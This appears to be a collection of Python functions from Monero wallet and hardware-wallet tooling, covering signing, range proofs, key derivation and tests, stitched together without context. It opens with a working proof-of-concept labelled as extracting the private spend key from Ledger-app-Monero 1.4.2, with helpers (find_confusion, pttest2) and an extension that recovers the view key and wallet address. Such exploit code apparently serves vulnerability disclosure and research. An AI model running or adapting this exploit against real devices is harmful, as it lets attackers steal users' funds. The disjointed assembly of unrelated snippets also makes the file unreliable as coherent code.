def poc2(self): print('[+] PoC Ledger-app-Monero 1.4.2 spend key extraction, v2') self.reset() self.set_mode() self.open_tx() # 1. get A, find x, s.t.: [8*a*x*G]_pt == [8*a*x*G]_sc A = self.scalarmult(self.fake_a) Apt = crypto.decodepoint(A) x, A8x = self.find_confusion(Apt) Gx = crypto.encodepoint(crypto.scalarmult_base(crypto.sc_init(x))) print(' 1. Confusion found, x: %d' % (x, )) print(' 8xA: %s' % binascii.hexlify(A8x).decode('ascii')) print(' A: %s' % binascii.hexlify(A).decode('ascii')) print(' xG: %s' % binascii.hexlify(Gx).decode('ascii')) # 2. gen_deriv (8*a*x*G) = enc(8x*A) = enc(P); we know {P, enc(P)}; # It holds that P=8xA is also a valid scalar value, from the step above. P = self.gen_derivation(Gx, self.fake_a) print(' 2. P: %s' % (self.fmtkey(P).decode('ascii'), )) # 3. get_secret_key: s1 = Hs(P||0) + s sp = self.derive_secret_key(P, 0, self.fake_b) print(' 3. sp: %s' % (self.fmtkey(sp).decode('ascii'), )) # 4. mlsag_hash(p2=1, opt=0x80) = c c = self.mlsag_hash() print(' 4. c: %s' % (binascii.hexlify(c).decode('ascii'), )) # 5. mlsag_sign(s1, enc(P)), r1 = enc(s1 - Pc) = enc(Hs(P||0) + s - Pc); # We have R = Hs(P||0) + s - Pc -> R - Hs(P||0) + Pc = s r = self.mlsag_sign_s(P, sp) print(' 5. r: %s' % (binascii.hexlify(r[0]).decode('ascii'), )) # Extract the spend key hs0 = crypto.hash_to_scalar(bytearray(A8x) + bytearray(1)) rsc = crypto.decodeint(r[0]) rsc = crypto.sc_sub(rsc, hs0) bsc = crypto.sc_add( rsc, crypto.sc_mul(crypto.decodeint(c), crypto.decodeint(A8x))) b = crypto.encodeint(bsc) print(' 5. b: %s' % binascii.hexlify(b).decode('ascii')) B = crypto.scalarmult_base(bsc) print(' 5. B: %s' % binascii.hexlify(crypto.encodepoint(B)).decode('ascii')) # 6. Verify BB = self.scalarmult(self.fake_b) print(' 6. bG: %s\n' % binascii.hexlify(BB).decode('ascii')) if BB == crypto.encodepoint(B): print('[+] PoC successful') else: print('[-] PoC not working') print('\nCommands: ') for x in self.commands: print(' %s' % x)
async def live_refresh(self, view_key_private, out_key, recv_deriv, real_out_idx, major, minor): msg = MoneroLiveRefreshStepRequest( out_key=out_key, recv_deriv=recv_deriv, real_out_idx=real_out_idx, sub_addr_major=major, sub_addr_minor=minor, ) t_res = await self.trezor.live_refresh( msg) # type: MoneroLiveRefreshStepAck self.handle_error(t_res) enc_key = self._compute_ki_enc_key_host(view_key_private, out_key, t_res.salt) decr = chacha_poly.decrypt_pack(enc_key, t_res.key_image) ki_bin = decr[:32] ki = crypto.decodepoint(ki_bin) sig = [[crypto.decodeint(decr[32:64]), crypto.decodeint(decr[64:])]] if not ring_ct.check_ring_singature( ki_bin, ki, [crypto.decodepoint(out_key)], sig): raise ValueError("Invalid ring sig on KI") return ki
async def _rct_offload(self, idx, dst): if (self.ct.rsig_batches[self.ct.cur_batch_idx] > self.ct.cur_output_in_batch_idx): return None rsig_data = MoneroTransactionRsigData() batch_size = self.ct.rsig_batches[self.ct.cur_batch_idx] if not self._is_req_bulletproof(): if batch_size > 1: raise ValueError("Borromean cannot batch outputs") mask = crypto.decodeint(self.ct.rsig_gamma[idx]) C, a, R = ring_ct.prove_range_mem(dst.amount, mask) rsig_data.rsig = tmisc.dump_msg(R) self.ct.tx_out_rsigs.append(R) else: amounts = [] masks = [] for i in range(batch_size): amounts.append( self.ct.tx_data.splitted_dsts[1 + idx - batch_size + i].amount) masks.append( crypto.decodeint(self.ct.rsig_gamma[1 + idx - batch_size + i])) bp = await ring_ct.prove_range_bp_batch(amounts, masks) self.ct.tx_out_rsigs.append(bp) rsig_data.rsig = await tmisc.dump_msg(bp) return rsig_data
async def mlsag_prepare(self): Hi = None xin = None options = 0 if len(self.c_msg) > 1: options = 1 Hi = crypto.decodepoint(self._fetch()) if self.options & 0x40: xin = crypto.decodeint(self._fetch()) else: xin = crypto.decodeint(self._fetch_decrypt()) alpha = crypto.random_scalar() self._insert_encrypt(crypto.encodeint(alpha)) # ai.G self._insert(crypto.encodepoint(crypto.scalarmult_base(alpha))) if options: # ai * Hi self._insert(crypto.encodepoint(crypto.scalarmult(Hi, alpha))) # xin * Hi self._insert(crypto.encodepoint(crypto.scalarmult(Hi, xin))) return SW_OK
def unblind_int(self, v, k, AKout): AKout = crypto.hash_to_scalar(AKout) k = crypto.sc_sub(crypto.decodeint(k), AKout) AKout = crypto.hash_to_scalar(crypto.encodeint(AKout)) v = crypto.sc_sub(crypto.decodeint(v), AKout) return v, k, AKout
def __init__(self, secret_exponent=None, key=None, hex_key=None, *args, **kwargs): self._hex_key = hex_key self._key = None if secret_exponent: self._key = crypto.decodeint(bytes(ec_py.EdScalar(secret_exponent))) elif hex_key: self._key = crypto.decodeint(hex_key) else: self._key = key
async def open_account(self): """ Handles account open / management :return: """ self.update_intro() self.update_prompt() priv_spend_key = None priv_view_key = None if not self.args.account_file and not self.args.spend_key: logger.debug( "No account file nor spend key. Please generate new account") return acc_file_exists = False if self.args.account_file: acc_file_exists = os.path.exists(self.args.account_file) if acc_file_exists and self.args.spend_key: logger.error("Account file exists, spend key is ignored") if acc_file_exists and self.args.view_key: logger.error("Account file exists, view key is ignored") if acc_file_exists: with open(self.args.account_file) as fh: self.account_data = json.load(fh) priv_spend_key = crypto.decodeint( binascii.unhexlify( self.account_data["spend_key"].encode("ascii"))) priv_view_key = crypto.decodeint( binascii.unhexlify( self.account_data["view_key"].encode("ascii"))) if not acc_file_exists and self.args.spend_key: priv_view = self.args.view_key.encode("utf8") priv_spend = self.args.spend_key.encode("utf8") priv_view_key = crypto.b16_to_scalar(priv_view) priv_spend_key = crypto.b16_to_scalar(priv_spend) self.account_data = { "spend_key": priv_spend_key, "view_key": priv_view_key } with open(self.args.account_file, "w") as fh: json.dump( { "spend_key": priv_spend.decode("ascii"), "view_key": priv_view.decode("ascii"), }, fh, indent=2, ) if priv_spend_key and priv_view_key: self.init_with_keys(priv_spend_key, priv_view_key)
def gen_clsag_sig(self, ring_size=11, index=None): msg = bytearray(random.getrandbits(8) for _ in range(32)) amnt = crypto.sc_init(random.randint(0, 0xFFFFFF) + 12) priv = crypto.random_scalar() msk = crypto.random_scalar() alpha = crypto.random_scalar() P = crypto.scalarmult_base(priv) C = crypto.add_keys2(msk, amnt, crypto.xmr_H()) Cp = crypto.add_keys2(alpha, amnt, crypto.xmr_H()) ring = [] for i in range(ring_size - 1): tk = TmpKey( crypto.encodepoint( crypto.scalarmult_base(crypto.random_scalar())), crypto.encodepoint( crypto.scalarmult_base(crypto.random_scalar())), ) ring.append(tk) index = index if index is not None else random.randint(0, len(ring)) ring.insert(index, TmpKey(crypto.encodepoint(P), crypto.encodepoint(C))) ring2 = list(ring) mg_buffer = [] self.assertTrue( crypto.point_eq(crypto.scalarmult_base(priv), crypto.decodepoint(ring[index].dest))) self.assertTrue( crypto.point_eq( crypto.scalarmult_base(crypto.sc_sub(msk, alpha)), crypto.point_sub(crypto.decodepoint(ring[index].commitment), Cp), )) mlsag2.generate_clsag_simple( msg, ring, CtKey(dest=priv, mask=msk), alpha, Cp, index, mg_buffer, ) sD = crypto.decodepoint(mg_buffer[-1]) sc1 = crypto.decodeint(mg_buffer[-2]) scalars = [crypto.decodeint(x) for x in mg_buffer[1:-2]] H = crypto.new_point() sI = crypto.new_point() crypto.hash_to_point_into(H, crypto.encodepoint(P)) crypto.scalarmult_into(sI, H, priv) # I = p*H return msg, scalars, sc1, sI, sD, ring2, Cp
async def put_key(self): sec = crypto.decodeint(self._fetch(32)) pub = crypto.decodepoint(self._fetch(32)) if not crypto.point_eq(pub, crypto.scalarmult_base(sec)): return SW_WRONG_DATA self.a = sec sec = crypto.decodeint(self._fetch(32)) pub = crypto.decodepoint(self._fetch(32)) if not crypto.point_eq(pub, crypto.scalarmult_base(sec)): return SW_WRONG_DATA self.b = sec return SW_OK
def parse_keys(self, keyvar, ktype="current"): if keyvar is None: return None if len(keyvar) != 2 * 2 * 32: raise ValueError( "Keys for the %s destination length invalid. Format: SpendKey || ViewKey hexcoded" % ktype ) keys_bin = binascii.unhexlify(keyvar) spend_key = crypto.decodeint(keys_bin[:32]) view_key = crypto.decodeint(keys_bin[32:64]) return AccountCreds.new_wallet(view_key, spend_key)
def generate_monero_keys(seed): """ Generates spend key / view key from the seed in the same manner as Monero code does. account.cpp: crypto::secret_key account_base::generate(const crypto::secret_key& recovery_key, bool recover, bool two_random). :param seed: :return: """ spend_sec, spend_pub = generate_keys(crypto.decodeint(seed)) hash = crypto.cn_fast_hash(crypto.encodeint(spend_sec)) view_sec, view_pub = generate_keys(crypto.decodeint(hash)) return spend_sec, spend_pub, view_sec, view_pub
async def verify_ki_export(self, res, exp): """ Verifies key image export :param res: :param exp: :return: """ self.assertTrue(len(res) > 0) for idx, kie in enumerate(res): td = exp.tds[idx] ki = crypto.decodepoint(kie[0]) pkey = crypto.decodepoint(td.m_tx.vout[td.m_internal_output_index].target.key) sig = [[crypto.decodeint(kie[1][0]), crypto.decodeint(kie[1][1])]] self.assertTrue(ring_ct.check_ring_singature(kie[0], ki, [pkey], sig))
async def mlsag_sign(self): if self.sig_mode == TRANSACTION_CREATE_FAKE: xin = crypto.decodeint(self._fetch()) alpha = crypto.decodeint(self._fetch()) elif self.sig_mode == TRANSACTION_CREATE_REAL: xin = crypto.decodeint(self._fetch_decrypt()) alpha = crypto.decodeint(self._fetch_decrypt()) else: raise ValueError("Invalid mode") ss2 = crypto.sc_mulsub(self.c, xin, alpha) self._insert(crypto.encodeint(ss2)) self._insert_u32(self.sig_mode) return SW_OK
def verify_monero_generated(self, clsag): msg = ubinascii.unhexlify(clsag["msg"]) sI = crypto.decodepoint(ubinascii.unhexlify(clsag["sI"])) sD = crypto.decodepoint(ubinascii.unhexlify(clsag["sD"])) sc1 = crypto.decodeint(ubinascii.unhexlify(clsag["sc1"])) Cout = crypto.decodepoint(ubinascii.unhexlify(clsag["cout"])) scalars = [ crypto.decodeint(ubinascii.unhexlify(x)) for x in clsag["ss"] ] ring = [] for e in clsag["ring"]: ring.append( TmpKey(ubinascii.unhexlify(e[0]), ubinascii.unhexlify(e[1]))) mlsag2.verify_clsag(msg, scalars, sc1, sI, sD, ring, Cout)
def ecdh_encdec(masked, receiver_sk=None, derivation=None, v2=False, enc=True, dest=None): """ Elliptic Curve Diffie-Helman: encodes and decodes the amount b and mask a where C= aG + bH """ rv = xmrtypes.EcdhTuple() if dest is None else dest if derivation is None: derivation = crypto.scalarmult(masked.senderPk, receiver_sk) if v2: amnt = masked.amount rv.mask = monero.commitment_mask(derivation) rv.amount = bytearray(32) crypto.encodeint_into(rv.amount, amnt) crypto.xor8(rv.amount, monero.ecdh_hash(derivation)) rv.amount = crypto.decodeint(rv.amount) return rv else: amount_key_hash_single = crypto.hash_to_scalar(derivation) amount_key_hash_double = crypto.hash_to_scalar( crypto.encodeint(amount_key_hash_single) ) sc_fnc = crypto.sc_add if enc else crypto.sc_sub rv.mask = sc_fnc(masked.mask, amount_key_hash_single) rv.amount = sc_fnc(masked.amount, amount_key_hash_double) return rv
def compute_tx_key(spend_key_private, tx_prefix_hash, salt=None, rand_mult=None): """ :param spend_key_private: :param tx_prefix_hash: :param salt: :param rand_mult: :return: """ if not salt: salt = crypto.random_bytes(32) if not rand_mult: rand_mult_num = crypto.random_scalar() rand_mult = crypto.encodeint(rand_mult_num) else: rand_mult_num = crypto.decodeint(rand_mult) rand_inp = crypto.sc_add(spend_key_private, rand_mult_num) passwd = crypto.keccak_2hash(crypto.encodeint(rand_inp) + tx_prefix_hash) tx_key = crypto.compute_hmac(salt, passwd) # tx_key = crypto.pbkdf2(passwd, salt, count=100) return tx_key, salt, rand_mult
def ver_borromean(P1, P2, s0, s1, ee): """ Verify range proof signature, Borromean (c.f. gmax/andytoshi's paper) :param P1: :param P2: :param s0: :param s1: :param ee: :return: """ n = len(P1) Lv1 = key_vector(n) for ii in range(n): LL = crypto.add_keys2(s0[ii], ee, P1[ii]) chash = crypto.hash_to_scalar(crypto.encodepoint(LL)) Lv1[ii] = crypto.add_keys2(s1[ii], chash, P2[ii]) kck = crypto.get_keccak() for ii in range(n): kck.update(crypto.encodepoint(Lv1[ii])) # ee_computed = crypto.hash_to_scalar(crypto.encodepoint(Lv1)) ee_computed = crypto.decodeint(kck.digest()) return crypto.sc_eq(ee_computed, ee)
def extra_poc(self, zero, hs0, B): # --- Extra --- # Extract view key and address reconstruction. # Not needed for the PoC print('\nExtracting view-key...') encr = self.derive_secret_key(zero, 0, self.fake_a) r = self.mlsag_sign_s(zero, encr) rsc = crypto.decodeint(r[0]) asc = crypto.sc_sub(rsc, hs0) a = crypto.encodeint(asc) print(' a: %s' % binascii.hexlify(a).decode('ascii')) A = crypto.scalarmult_base(asc) print(' A: %s' % binascii.hexlify(crypto.encodepoint(A)).decode('ascii')) AA = self.scalarmult(self.fake_a) print(' aG: %s' % binascii.hexlify(AA).decode('ascii')) main_addr = addr.encode_addr( xmr_net.net_version(xmr_net.NetworkTypes.MAINNET), crypto.encodepoint(B), crypto.encodepoint(A), ) test_addr = addr.encode_addr( xmr_net.net_version(xmr_net.NetworkTypes.TESTNET), crypto.encodepoint(B), crypto.encodepoint(A), ) print('Mainnet address: %s' % main_addr.decode('ascii')) print('Testnet address: %s' % test_addr.decode('ascii'))
async def load_watchonly(self): """ Loads watch-only credentials from connected Trezor :return: """ if not await self.is_connected(): logger.error("Trezor is not connected") raise agent_misc.TrezorNotRunning( "Could not load watch-only credentials") try: print( "Loading watch-only credentials from Trezor. Please, confirm the request on Trezor." ) self.set_network_type(monero.NetworkTypes.TESTNET if self.args. testnet else monero.NetworkTypes.MAINNET) res = await self.agent.get_watch_only( ) # type: messages.MoneroWatchKey self.priv_view = crypto.decodeint(res.watch_key) self.address = res.address await self.open_with_keys(self.priv_view, self.address) except Exception as e: raise ValueError(e)
def set_seed(self, seed, path=None, slip0010=False): """ Sets master secret for BIP44 derivation :param seed: :param path: :param slip0010: :return: """ self.master_seed = seed self.is_slip0010 = slip0010 if path is None: self.path = DEFAULT_BIP44_PATH if not slip0010 else DEFAULT_SLIP0010_PATH else: self.path = path wl = bip32.Wallet.from_master_secret(seed, use_ed25519=slip0010) # Generate private keys based on the gen mechanism. Bip44 path + Monero backward compatible data = wl.get_child_for_path(self.path) self.pre_hash = binascii.unhexlify(data.private_key.get_key()) if slip0010: self.monero_master = crypto.encodeint( crypto.decodeint(self.pre_hash)) else: # Ledger way = words -> bip39 pbkdf -> master seed -> bip32 normal with # "Bitcoin seed" seed, get private key node -> cn_fast_hash -> monero master secret self.monero_master = crypto.cn_fast_hash(self.pre_hash) self.set_monero_seed(self.monero_master)
async def amplify_inputs(self, tx, new_keys=None, new_subs=None): lst = tx.sources[-1] orig_amount = lst.amount partial = orig_amount // (self.args.inputs + 1) amnt_sum = partial lst.amount = partial commitment = crypto.encodepoint(crypto.gen_c(crypto.decodeint(lst.mask), partial)) lst.outputs[lst.real_output][1].mask = commitment for i in range(1, self.args.inputs + 1): is_lst = i >= self.args.inputs new_amnt = orig_amount - amnt_sum if is_lst else partial amnt_sum += partial commitment = crypto.encodepoint(crypto.gen_c(crypto.decodeint(lst.mask), new_amnt)) new_inp = TxSourceEntry(outputs=list(lst.outputs), real_output=lst.real_output, real_out_tx_key=lst.real_out_tx_key, real_out_additional_tx_keys=lst.real_out_additional_tx_keys, real_output_in_tx_index=lst.real_output_in_tx_index, amount=new_amnt, rct=lst.rct, mask=lst.mask, multisig_kLRki=lst.multisig_kLRki) # Amount changed -> update the commitment orig_key = new_inp.outputs[new_inp.real_output][1] new_inp.outputs[new_inp.real_output] = (0, CtKey(dest=orig_key.dest, mask=commitment)) # Randomize mixin values for i in range(new_inp.real_output + 1, len(new_inp.outputs)): new_inp.outputs[i] = (0, CtKey( mask=crypto.encodepoint(self.random_pub()), dest=crypto.encodepoint(self.random_pub()))) if new_inp.real_out_additional_tx_keys: new_inp.real_out_additional_tx_keys[i] = crypto.encodepoint(self.random_pub()) self.check_input(new_inp, new_keys, new_subs) if not crypto.point_eq( crypto.decodepoint(new_inp.outputs[new_inp.real_output][1].mask), crypto.gen_c(crypto.decodeint(new_inp.mask), new_inp.amount), ): raise ValueError("Real source entry's mask does not equal spend key's") tx.sources.append(new_inp)
def gen_mlsag_ext(message, pk, xx, kLRki, mscout, index, dsRows): """ Multilayered Spontaneous Anonymous Group Signatures (MLSAG signatures) :param message: :param pk: matrix of points, point form (not encoded) :param xx: :param kLRki: :param mscout: :param index: :param dsRows: :return: """ rows, cols = gen_mlsag_assert(pk, xx, kLRki, mscout, index, dsRows) rv = xmrtypes.MgSig() c, L, R, Hi = 0, None, None, None c_old, Ip, alpha = gen_mlsag_rows(message, rv, pk, xx, kLRki, index, dsRows, rows, cols) i = (index + 1) % cols if i == 0: rv.cc = c_old while i != index: rv.ss[i] = scalar_gen_vector(rows) hasher = hasher_message(message) for j in range(dsRows): L = crypto.add_keys2(rv.ss[i][j], c_old, pk[i][j]) Hi = crypto.hash_to_point(crypto.encodepoint( pk[i][j])) # originally hashToPoint() R = crypto.add_keys3(rv.ss[i][j], Hi, c_old, Ip[j]) hasher.update(crypto.encodepoint(pk[i][j])) hasher.update(crypto.encodepoint(L)) hasher.update(crypto.encodepoint(R)) for j in range(dsRows, rows): L = crypto.add_keys2(rv.ss[i][j], c_old, pk[i][j]) hasher.update(crypto.encodepoint(pk[i][j])) hasher.update(crypto.encodepoint(L)) c = crypto.decodeint(hasher.digest()) c_old = c i = (i + 1) % cols if i == 0: rv.cc = c_old for j in range(rows): rv.ss[index][j] = crypto.sc_mulsub( c, xx[j], alpha[j]) # alpha[j] - c * xx[j]; sc_mulsub in original does c-ab if mscout: mscout(c) return rv, c
async def _step_set_outputs(self, idx, dst): self.ct.cur_output_idx = idx self.ct.cur_output_in_batch_idx += 1 msg = MoneroTransactionSetOutputRequest( dst_entr=tmisc.translate_monero_dest_entry_pb(dst), dst_entr_hmac=self.ct.tx_out_entr_hmacs[idx], ) # Range sig offloading to the host if not self._is_offloading(): return msg if (self.ct.rsig_batches[self.ct.cur_batch_idx] > self.ct.cur_output_in_batch_idx): return msg rsig_data = MoneroTransactionRsigData() batch_size = self.ct.rsig_batches[self.ct.cur_batch_idx] if not self._is_req_bulletproof(): if batch_size > 1: raise ValueError("Borromean cannot batch outputs") mask = crypto.decodeint(self.ct.rsig_gamma[idx]) C, a, R = ring_ct.prove_range_mem(dst.amount, mask) rsig_data.rsig = tmisc.dump_msg(R) self.ct.tx_out_rsigs.append(R) else: amounts = [] masks = [] for i in range(batch_size): amounts.append( self.ct.tx_data.splitted_dsts[1 + idx - batch_size + i].amount) masks.append( crypto.decodeint(self.ct.rsig_gamma[1 + idx - batch_size + i])) bp = await ring_ct.prove_range_bp_batch(amounts, masks) self.ct.tx_out_rsigs.append(bp) rsig_data.rsig = await tmisc.dump_msg(bp) msg.rsig_data = rsig_data return msg
async def blind(self): AKout = self._fetch_decrypt(32) k = self._fetch(32) v = self._fetch(32) self.ctx_amount.update(AKout) self.ctx_amount.update(k) self.ctx_amount.update(v) AKout = crypto.hash_to_scalar(AKout) k = crypto.sc_add(crypto.decodeint(k), AKout) AKout = crypto.hash_to_scalar(crypto.encodeint(AKout)) v = crypto.sc_add(crypto.decodeint(v), AKout) self._insert(crypto.encodeint(v)) self._insert(crypto.encodeint(k)) return SW_OK
async def get_subaddress_secret_key(self): sec = crypto.decodeint(self._fetch_decrypt()) index = self._fetch(8) major, minor = self._idx_parse(index) sub_sec = monero.get_subaddress_secret_key(sec, major=major, minor=minor) self._insert_encrypt(crypto.encodeint(sub_sec)) return SW_OK
def find_confusion(self, A, N=10000): """find x, s.t.: [8*x*A]_pt == [8*x*A]_sc""" for i in range(1, N): Ac = crypto.scalarmult(A, crypto.sc_init(i * 8)) Ab = crypto.encodepoint(Ac) red = crypto.encodeint(crypto.decodeint(Ab)) if red == Ab: return i, Ab raise ValueError('Could not find a confusion parameter!')
async def get_tx_key(self, salt1, salt2, tx_enc_keys, tx_prefix_hash, view_key_priv): decr = await self._get_tx_key_intern(salt1, salt2, tx_enc_keys, tx_prefix_hash, view_key_priv) n_keys = len(decr) // 32 res = [] for i in range(n_keys): res.append(crypto.decodeint(decr[i * 32:(i + 1) * 32])) return res
def _fetch_decrypt_key(self): buff = self._fetch() if buff == b"\x00" * 32: return self.a elif buff == b"\xff" * 32: return self.b else: return crypto.decodeint(aescbc.decrypt(self.key_enc, buff, self.iv))
def test_hash_to_scalar(self): inp = unhexlify( b"259ef2aba8feb473cf39058a0fe30b9ff6d245b42b6826687ebd6b63128aff6405" ) res = crypto.hash_to_scalar(inp) exp = crypto.decodeint( binascii.unhexlify( b"9907925b254e12162609fc0dfd0fef2aa4d605b0d10e6507cac253dd31a3ec06" )) self.assertTrue(crypto.sc_eq(res, exp))
def pttest2(N=10000): a = crypto.random_scalar() a8 = crypto.sc_mul(a, crypto.sc_init(8)) for i in range(1, N): ca = crypto.sc_mul(a8, crypto.sc_init(i)) A8 = crypto.scalarmult_base(ca) A8bin = crypto.encodepoint(A8) red = crypto.encodeint(crypto.decodeint(A8bin)) if red == A8bin: return i, red return None